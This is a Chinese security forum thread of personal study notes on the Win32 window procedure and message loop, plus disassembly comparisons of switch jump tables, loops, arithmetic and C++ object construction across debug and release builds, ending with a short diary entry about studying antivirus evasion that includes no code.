如前所述,函数GetMessage负责从应用程序的消息队列中取出消息,而函数DispatchMessage()要求Windows将消息传送给在MSG结构中为窗口所指定的窗口过程。然后出台的就是这个窗口过程了,这个窗口过程的任务是干什么呢?就是最终用来处理消息的,就是消息的处理器而已,那么这个函数就是WindowProc,在Visual C++6.0中按F1启动MSDN,按下面这个路径走下来:

PlatForm SDK****-->User Interface services-->Windows user Interface-->Windowing-->Window Procedures-->Window Procedure Reference-->Windows Procedure Functions-->WindowProc

  1. LRESULT CALLBACK WindowProc
  2. (
  3.         HWND hwnd, // handle to window
  4.         UINT uMsg, // message identifier
  5.         WPARAM wParam, // first message parameter
  6.         LPARAM lParam // second message parameter
  7. );
复制代码


下面讲解:

不知你注意到了没有,这个函数的参数与刚刚提到的GetMessage调用把返回的MSG结构的前四个成员相同。如果消息处理成功,WindowProc的返回值为0.
Windows的启动应用程序时,先调用WinMain函数,然后调用窗口过程,注意:在我们的这个程序中,只有一个窗口过程,实际上,也许有不止一个的窗口过程。例如,每一个不同的窗口类都 有一个与之相对应的窗口过程。无论Windows何时想传递一个消息到一窗口,都将调用相应的窗口过程。当Windows从环境,或从另一个应用程序,或从用户的应用程序中得到消息时,它将调用窗口过程并将信息传给此函数。总之,窗口过程函数处理所有传送到由此窗口类创建的窗口所得到的消息。并且窗口过程有义务处理Windows扔给它的任何消息。我们在学习Windows程序设计的时候,最主要的就是学习这些消息是什么以及是什么意思,它们是怎么工作的。

令我们不解的是,在程序中我们看不出来是哪一个函数在调用窗口过程。它其实是一个回调函数.前面已经提到,Windows把发生的输入事件转换成输入消息放到消息队列中,而消息循环将它们发送到相应的窗口过程函数,真正的处理是在窗口过程函数中执行的,在Windows中就使用了回调函数来进行这种通信

回调函数是输出函数中特殊的一种,它是指那些在Windows环境下直接调用的函数。一个应用程序至少有一个回调函数,因为在应用程序处理消息时,Windows调用回调函数。这种回调函数就是我们前面提到的窗口过程,它对对应于一个活动的窗口,回调函数必须向Windows注册,Windows实施相应操作即行回调。

每个窗口必须有一个窗口过程与之对应,且Windows直接调用本函数,因此,窗口函数必须采用FAR PASCAL调用约定。在我们的第二只小板凳中,我们的窗口函数为WndProc,必须注意这里的函数名必须是前面注册的窗口类时,向域wc.lpfnWndProc所赋的WndProc。函数WndProc就是前面定义的窗口类所生成的所有窗口的窗口函数。

在我们的这个窗口函数中,WndProc处理了共有两条消息:WM_PAINTWM_DESTROY.
窗口函数从Windows中接收消息,这些消息或者是由WinMain函数发送的输入消息,或者是直接来自Windows的窗口管理消息。窗口过程检查一条消息,然后根据这些消息执行特定的动作未被处理的消息通过DefWindowProc函数传回给Windows的DefWindowProc作缺省处理。
可以发送窗口函数的消息约有220种,所有窗口消息都以WM_开头,这些消息在头文件中被定义为常量。引起Windows调用窗口函数的原因有很多,,如改变窗口大小啊,改变窗口在屏幕上的位置啊什么的。

Windows已经把任务扔给窗口过程了,窗口过程是怎么处理消息的呢?
3.2.7.处理消息

窗口过程处理消息通常以switch语句开始,对于它要处理的每一条消息ID都跟有一条case语句。大多数windows proc都有具有下面形式的内部结构:

  1. switch(uMsgId)
  2. {
  3.         case WM_(something):
  4.                 //这里此消息的处理过程
  5.                 return 0;
  6.         case WM_(something else):
  7.                 //这里是此消息的处理过程
  8.                 return 0;
  9.         default:
  10.                 //其他消息由这个默认处理函数来处理
  11.                 return DefWindowProc(hwnd,uMsgId,wParam,lParam);
  12. }
复制代码



在处理完消息后,要返回0,这很重要-----它会告诉Windows不必再重试了。对于那些在程序中不准备处理的消息,窗口过程会把它们都扔给DefWindowProc进行缺省处理,而且还要返回那个函数的返回值。在消息传递层次中,可以认为DefWindowProc函数是最顶层的函数。这个函数发出WM_SYSCOMMAND消息,由系统执行Windows环境中多数窗口所公用的各种通用操作,例如,画窗口的非用户区,更新窗口的正文标题等等等等。

再提示一下,以WM_的消息在Windows头文件中都被定义成了常量,如WM_QUIT=XXXXXXXXXXX,但我们没有必要记住这个数值,也不可能记得住,我们只要知道WM_QUIT就OK了。

在第二只小板凳(即示例程序2)中我们只让窗口过程处理了两个消息:一个是WM_PAINT,另一个是WM_DESTROY,先说说第一个消息---WM_PAINT.


(1).关于WM_PAINT
无论何时Windows要求重画当前窗口时,都会发该消息。也可以这样说:无论何时窗口非法,都必须进行重画。 哎呀,什么又是"非法窗口"?什么又是重画啊?你这人有没有完,嗯? 稍安勿燥,我比你还烦呢?我午饭到现在还没吃呢!你有点耐心,来点专业精神好不好???我开始在MSDN里面找有关这个方面的内容了,别急,我找找看:
Platform SDK-->Graphics and Multimedia Services-->Windows GDI-->ainting and Drawing-->Using the WM_PAINT Message

-----终于找到了。 下面是一大套理论:
让我们把Windows的屏幕想像成一个桌面,把一个窗口想像成一张纸。当我们把一张纸放到桌面上时,它会盖住其他的纸,这样被盖住的其他纸上的内容都看不到了。但我们只要把这张纸移开,被盖住的其他纸上的内容就会显示出来了---这是一个很简单的道理,谁都明白。

对于我们的屏幕来说,当一个窗口被另一窗口盖住时,被盖住的窗口的某些部分就看不到了,我们要想看到被盖住的窗口的全部面貌,就要把另一个窗口移开,但是当我们移开后,事情却起了变化-----很可能这个被盖住的窗口上的信息被擦除了或是丢失了。当窗口中的数据丢失或过期时,窗口就变成非法的了---或者称为"无效"。于是我们的任务就来了,我们必须考虑怎样在窗口的信息丢失时"重画窗口"--使窗口恢复成以前的那个样子。这也就是我们在这第二只小板凳中调用UpdateWindow的原因。

你忘记了吗?刚才我们在(三)显示和更新窗口中有下面的一些文字: WinMain()调用完ShowWindow后,还需要调用函数UpdateWindow,最终把窗口显示了出来。调用函数UpdateWindow将产生一个WM_PAINT消息,这个消息将使窗口重画,即使窗口得到更新.---这是程序第一次调用了这条消息。



为重新显示非法区域,Windows就发送WM_PAINT消息实现。要求Windows发送WM_PAINT的情况有改变窗口大小,对话框关闭,使用了UpdateWindows和ScrollWindow函数等。这里注意,Windows并非是消息WM_PAINT的唯一来源,使用InvalidateRect或InvalidateRgn函数也可以产生绘图窗口的WM_PAINT消息...... 通常情况下用BeginPaint()来响应WM_PAINT消息。如果要在没有WM_PAINT的情况下重画窗口,必须使用GetDC函数得到显示缓冲区的句柄。这里面不再扩展。详细见MDSN。


(2).关于WM_DESTROY

这个消息要比WM_PAINT消息容易处理得多:只要用户关闭窗口,就会发送WM_DESTROY消息(在窗口从屏幕上移去后)。
程序通过调用PostQuitMessage以标准方式响应WM_DESTROY消息:
  1. PostQuitMessage (0) ;
复制代码

这个函数在程序的消息队列中插入一个WM_QUIT消息。在(四)创建消息循环中我们曾有这么一段话:
消息循环以GetMessage调用开始,它从消息队列中取出一个消息:
.......
在接收到除WM_QUIT之外的任何一个消息后,GetMessage()都返回TRUE。如果GetMessage收到一个WM_QUIT消息,则返回FALSE,如收到其他消息,则返回TRUE。因此,在接收到WM_QUIT之前,带有GetMessage()的消息循环可以一直循环下去。只有当收到的消息是WM_QUIT时,GetMessage才返回FALSE,结束消息循环,从而终止应用程序。


至此,第二支小板凳终于支解完毕!!



个人对于第二个小板凳做的注释:

//
#include "stdafx.h" //注意,这个向导产生的头文件不能去掉
#include <windows.h>
LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    PSTR szCmdLine, int iCmdShow)
{
     static TCHAR szAppName[] = TEXT ("HelloWin") ; //每一个窗口类在注册时需要指定一个窗口处理函数(Window Procedure),这个函数是一个回调函数,就是用来处理消息的。
     HWND         hwnd ; //窗口类句柄->要发送到的窗口句柄
     MSG          msg ; //定义消息名字
     WNDCLASS     wc ; //【1】建立窗口类-->设计窗口

        //设计自己的窗口属性
     wc.style         = CS_HREDRAW | CS_VREDRAW ; //参数1:窗口类风格
     wc.lpfnWndProc   = WndProc ; //参数2:指向该窗口类的消息处理函数的指针。窗口处理函数,处理消息
     wc.cbClsExtra    = 0 ;        //参数3.4:窗口类附加数据,指定用本窗口类建立的所有窗口结构分配的额外字节数。
     wc.cbWndExtra    = 0 ;
     wc.hInstance     = hInstance ;        //拥有窗口类的实例句柄hInstance,本成员可使Windows连接到正确的程序。
     wc.hIcon         = LoadIcon (NULL, IDI_APPLICATION) ; //最小窗口图标
     wc.hCursor       = LoadCursor (NULL, IDC_ARROW) ; //定义该窗口产生的光标形状
     wc.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ; //用来着色窗口背景的刷子
     wc.lpszMenuName  = NULL ; //指向菜单资源名的指针
     wc.lpszClassName = szAppName ; // 指向窗口类名的指针

        //当对WNDCLASS结构域一一赋值后,注册窗口类,调用的API函数为RegisterClass
         if (!RegisterClass (&wc))
         {
                  MessageBox (NULL, TEXT ("This program requires Windows NT!"),
                                          szAppName, MB_ICONERROR) ;
                  return 0 ;
         }

         //【2】创建窗口
         //createwindow函数创建窗口,前提是需要提供一个已注册的窗口类(Window Class)
     hwnd = CreateWindow (szAppName,                  // window class name
                                                                                                          //-->登记的窗口类名,这个类名刚才咱们在注册窗口时已经定义过了。
                          TEXT ("欢迎你的到来!"), // window caption->窗口的标题。
                          WS_OVERLAPPEDWINDOW,        // window style->窗口的风格
                          CW_USEDEFAULT,              // initial x position->程序运行后窗口在屏幕中的坐标值。
                          CW_USEDEFAULT,              // initial y position
                          CW_USEDEFAULT,              // initial x size->窗口初始化时(即程序初运行时)窗口的大小,即长度与宽度。
                          CW_USEDEFAULT,              // initial y size
                          NULL,                       // parent window handle->在创建窗口时指定其父窗口,这里没有所以为0
                          NULL,                       // window menu handle->指明窗口的菜单
                          hInstance,                  // program instance handle->拥有窗口类的实例句柄hInstance
                          NULL) ;                     // creation parameters->附加数据,一般都是0。

        //【3】显示和更新窗口-->产生WM_PAINT消息
     ShowWindow (hwnd, iCmdShow) ; /*显示窗口:
                                                                        调用API函数ShowWindow显示API函数CreateWindow创建完的窗口
                                                                        参数hwnd是要发送到的窗口句柄,即告诉ShowWindow()显示哪一个窗口
                                                                        第二个参数则告诉它如何显示这个窗口,即窗口显示的大小控制
                                                                        */
     UpdateWindow (hwnd) ; /*重画窗口:
                                                        WinMain()调用完ShowWindow后,还需要调用函数UpdateWindow,最终把窗口显示了出来。
                                                        调用函数UpdateWindow将产生一个WM_PAINT消息,这个消息将使窗口重画,即使窗口得到更新.
                                                        */
        //【4】创建消息循环-->WinMain不断地取出消息,分配给对应的窗口函数
        while (GetMessage (&msg, NULL, 0, 0)) /*从消息队列中取出一个消息
                                                                                        参数msg:要接收消息的MSG结构的地址;
                                                                                        第二个参数表示窗口句柄,NULL则表示要获取该应用程序创建的所有窗口的消息;
                                                                                        第三,四参数指定消息范围。
                                                                                        只有当收到的消息是WM_QUIT时,GetMessage才返回FALSE,结束消息循环,从而终止应用程序。
                                                                                        均为NULL时就表示获取所有消息。
                                                                                        */
        {
                TranslateMessage (&msg) ; /*翻译消息-->将虚拟键消息(输入事件)转换为字符消息.*/
                DispatchMessage (&msg) ; /*要求Windows将消息传送给在MSG结构中为窗口所指定的窗口过程。
                                                                        将消息发送到到与MSG结构中的窗口句柄关联的窗口。如果窗口句柄是HWND_TOPMOST.
                                                                        如果窗口句柄是NULL,DispatchMessage不做任何事。
                                                                        */
        }

        //【5】终止应用程序
        /*一旦WinMain函数进入消息循环,终止应用程序的唯一办法就是使用PostQuitMessage把消息WM_QUIT发送到应用程序队列。
        当GetMessage函数检索到WM_QUIT消息,它就返回NULL,并退出消息外循环。
        通常,当主窗口正在删除时(即窗口已接收到一条WM_DESTROY消息),应用程序主窗口的窗口函数就发送一条WM_QUIT消息。*/
        return msg.wParam ;/*表示从PostQuitMessage返回的值
                                                当WinMain函数把控制返回到Windows时,应用程序就终止了。
                                                应用程序的启动消息循环前要检查引导出消息循环的每一步,以确保每个窗口已注册,
                                                每个窗口都已创建。如存在一个错误,应用程序应返回控制权,并显示一条消息*/
}

//【6】窗口过程,窗口过程函数
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
     HDC         hdc ;
     PAINTSTRUCT ps ;
     RECT        rect ;
     switch (message)
     {   
     case WM_PAINT:
          hdc = BeginPaint (hwnd, &ps) ;
          GetClientRect (hwnd, &rect) ;
          DrawText (hdc, TEXT ("你好,欢迎你来到VC之路!"), -1, &rect,
                    DT_SINGLELINE | DT_CENTER | DT_VCENTER) ;
          EndPaint (hwnd, &ps) ;
          return 0 ;

     case WM_DESTROY:
          PostQuitMessage (0) ;
          return 0 ;
     }
     return DefWindowProc (hwnd, message, wParam, lParam) ;
}



总结:

(至此,我的SDK第一天也结束了,怎么说呢,煎熬,但是也挺有趣的!感谢大佬带来的文章!知识点比较偏底层,有一种“操作系统程序化”的既视感,但与大佬的“对话”深刻的加深了我对知识的理解啦!下面是我在这一天中的学到的图吧,有些地方还不知道该怎么“圆谎”,慢慢学,慢慢画,加油!)


(论坛转载文章实在是太麻烦啦,,我下次还是直接把自己的成果搬过来即可吧!不清楚的地方欢迎读者私信哦!>_<)





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2021-3-10 22:39:38 | 显示全部楼层
本帖最后由 Xor0ne 于 2021-3-11 17:13 编辑

加密与解密断断续续的学,坚持着坚持着似乎又想放弃,就想着开个篇章鼓励自己不断的学下去吧,其实汇编也听好看的不是吗?

(其他的后期慢慢转载吧,就先放一下今天看见的吧!)


4.5.switch语句对比

在switch中如果case分支小于6,会直接使用if…else语句进行编写,而当分支大于等于6时编译器会对其结构进行适当地优化。具体优化我们往下看。(代码来自于《加密与解密》)

1.分支等于6且间隔很近
【示例程序1】
  1. int _tmain(int argc, _TCHAR* argv[]) {
  2.     switch (argc) {
  3.     case 1: printf("argc == 1");    break;
  4.     case 2: printf("argc == 2");    break;
  5.     case 3: printf("argc == 3");    break;
  6.     case 6: printf("argc == 6");    break;
  7.     case 7: printf("argc == 7");    break;
  8.     case 8: printf("argc == 8");    break;
  9.     }
  10.     return 0;
  11. }
复制代码


分析:
这里的case语句一共6个,且间距较小,编译器会将case值和case代码块地址分开。将所有的case语句代码块依次放一起。将所有的case值放在一起作为数组下标形成一个jump跳转表(类似于数组的结构),每一个case值对应的都是下标+1,数组中的元素对应着case代码块的地址。比如case 1 为数组第一个元素,下标值为0,数组元素为case 1代码块的首地址。所有的case值为1、2、3、6、7、8对应着数组下标为0、1、2、5、6、7,那么数组下标3和4呢?执行swicth的默认选项default,如果没有默认,则指向下一条语句,这里是return0。

因此当switch(argc)时,argc--后作为数组下标,与最大case表下标7进行比较,如果小于,则 jmp case代码块首地址+偏移量(即下标*4)   。具体可以观察x64-debug和release版本,都是按此方法,但是release相较于debug版本进行了适当地优化。
比如argc在main函数执行前放在了ecx处,debug遵循先取出然后然后赋值给栈空间,再从栈空间取出赋值给寄存器进行 -- 计算出下标,在传递给栈空间,类似于一个反复套娃的过程;release直接利用ecx进行--作为数组下标中间省略了那一大堆繁琐的步骤。x32-debug和release类似。

1.1.x64-debug和release
debug版本:
常规操作,程序首先申请并初始化栈空间,然后将eax接受argc的值,eax--之后作为数组下标。然后利用跳转表获取case代码块的首地址,在进行jmp跳转。主要代码如下:
  1. .text:0000000140011920                 movsxd  rax, [rbp+0E0h+var_20] ; rax作为数组下标
  2. .text:0000000140011927                 lea     rcx, cs:140000000h ; case语句的代码首地址
  3. .text:000000014001192E                 mov     eax, ds:(off_140011998 - 140000000h)[rcx+rax*4] ; off_140011998跳转表基址
  4. .text:000000014001192E                                         ; case语句代码块首地址+偏移量
  5. .text:0000000140011935                 add     rax, rcx
  6. .text:0000000140011938                 jmp     rax             ; switch jump
复制代码


跳转表如下:


release代码块:
跳转表:

1.2.x86-debug和release
x86-debug版本:
跳转表如下:

x86-release版本:
跳转表如下:

2.分支大于6且间隔很远
【示例程序2】
  1. int _tmain(int argc, _TCHAR* argv[]) {
  2.     switch (argc) {
  3.     case 1: printf("argc == 1");    break;
  4.     case 3: printf("argc == 3");    break;
  5.     case 5: printf("argc == 5");    break;
  6.     case 10: printf("argc == 10");  break;
  7.     case 35: printf("argc == 35");  break;
  8.     case 50: printf("argc == 50");  break;
  9.     case 300: printf("argc == 300");    break;
  10.     }
  11.     return 0;
  12. }
复制代码





分析:
x64-debug版本的左右分支树代码紧贴着,且每一个case语句最终都要跳转到switch的下一条执行即return语句,值函数结束。
x64-release版本的左右分支树是分开的,顺序类似于左分支+左case代码块+右分支+右cse代码块。且每一个case语句代码块都含有retn语句,因此执行完每一个case代码块后无需跳转,直接结束main函数了。
x86版本相差不大,详情看截图。

2.1.x64-debug和release
x64-debug版本:
分支判断语句结束后,下面开始便是对应的case语句代码块了,按照case值的大小依次排列。

x64-release版本:

2.2.x86-debug和release
x86-debug版本:

x86-release版本:














回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2021-3-11 17:17:24 | 显示全部楼层


4.6.循环语句各版本对比

代码及相关分析来自于《加密与解密》

1.do循环

【示例代码1】
  1. <blockquote><span style="font-size: 14px;">int _tmain(int argc, _TCHAR* argv[]) {</span>
复制代码




x64-debug版本:
x64-release版本:


x86-debug版本:

x86-release版本:


2.while循环
【示例代码2】
  1. <blockquote><span style="font-size: 14px;">int _tmain(int argc, _TCHAR* argv[]) {</span>
复制代码



分析:

x64-debug版本:

x64-release版本:

x86-debug版本:

x86-release版本:
3.for循环
【示例代码3】
  1. <blockquote><span style="font-size: 14px;">int _tmain(int argc, _TCHAR* argv[]) {</span>
复制代码


分析:

x64-debug版本:

x64-release版本:

x86-debug版本:(与x64类似,具体看前几张图片)

x86-release版本:(与x64类似,具体看前几张图片)




回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2021-3-12 22:59:46 | 显示全部楼层
本帖最后由 Xor0ne 于 2021-3-13 18:35 编辑

4.7.数学运算符

1.整数的加法
【示例代码1】
  1. int _tmain(int argc, _TCHAR* argv[]) {
  2.     printf("%d\r\n", argc + 3);
  3.     printf("%d\r\n", argc - 5);
  4.     printf("%d\r\n", argc + argc + 4);
  5.     return 0;
  6. }
复制代码



x64-debug版本:
x64-release版本:

x86-debug版本:

x86-release版本:




回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2021-3-13 18:38:53 | 显示全部楼层
本帖最后由 Xor0ne 于 2021-3-13 18:40 编辑

4.7.栈对象与堆对象的定义

程序来自于《C++反汇编揭秘》

1.栈对象
【示例代码1】
  1. #include "stdafx.h"

  2. class CNumber {
  3. public:
  4.         CNumber() {
  5.                 m_number = 1;        //无参构造函数
  6.         }
  7.         int m_number;
  8. };
  9. void main()
  10. {
  11.         CNumber Number;        //类对象定义
  12. }
复制代码



x86-debug版本反汇编代码如下:
主函数代码如下:



类对象的调用如下:

x86-debug版本的堆栈结构图如下:



x86-release版本:

分析:
(1)相较于debug版本,debug版本就省事多了,由于类没有任何操作,就直接把类的相关操作给省略了。
(x64版本的结构类似)
(2)类的定义其实就是一个模板,当实例化对象时才开始产生对应的内存空间。
(3)当调用类的构造函数的时候,会“偷偷”的将对象的首地址通过ecx(一般是这个)传递给构造函数,即this指针的由来;因此this指针其实就是实例化后对象的首地址。
(4)实例化对象后成员变量的赋值,类中第一个定义的成员变量地址=类首地址,其后的的成员变量地址在内存空间中按照定义顺序依次向地址增大的方向。先定义的在小地址,后定义的在大地址,因此第一个定义的就是首地址啦!

例如假设类中依次定义了变量:   char cChar; int nInt;  int m_one;   那么其地址分布如下:



2.堆对象
【示例代码2】
  1. #include "stdafx.h"

  2. class CNumber {
  3. public:
  4.         CNumber() {
  5.                 m_number = 1;        //无参构造函数
  6.         }
  7.         int m_number;
  8. };
  9. void main()
  10. {
  11.         CNumber * pNumber = NULL;
  12.         pNumber = new CNumber;
  13.         pNumber->m_number = 2;
  14.         printf("%d \r\n", pNumber->m_number);
  15. }
复制代码


x86-debug版本如下:
分析:
栈对象和堆对象在定义时编译器都会自动申请空间,但是堆对象增加了一个“双分支”检测语句,检测堆空间分配是否成功,如果成功,则将成功后的堆空间首地址赋给对象指针;如果失败,则将NULL赋值给对象指针。(堆申请空间分配语句如下:)


x86-release版本:
(这个版本中直接将“try”保护给省去了,个人觉得是因为事先已将判断堆空间可以申请成功,因此在运行结束后将堆申请检测操作给省去了)







本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2021-4-4 23:05:18 | 显示全部楼层
本帖最后由 Xor0ne 于 2021-4-4 23:09 编辑

2021/0404
小结:
今天上午主要把昨天遗留的python免杀结尾给复现了一遍,中午完成了本月的渗透KPI(也不算吧,毕竟老师说的任务是反序列化漏洞!)
下午的时间看了一些杀软免杀的原理!然后顺带看了一下前段时间收集到的一个红队师傅讲解的视频,怎么说呢,看完之后发现自己要学的还有很多很多,但是又有点无从下手的感觉似的。
免杀部分:
tide系列的文章看了一半了,剩下的都是白名单系列了,怎么说呢,越往后看越没啥意思了,这样导致自己的效率极低,所以我打算后半段时间放慢速度看,主要将重心放在前面shellcode加载看的原理以及shellcode的编写上面去,感觉这个才是核心,方式什么的个人感觉只是工具罢了,强大,但唯手熟即可!

今日笔记:


下面只是视频里面的一些建议,挂上来,给自己一个提醒吧!









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 21:27 , Processed in 0.080485 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表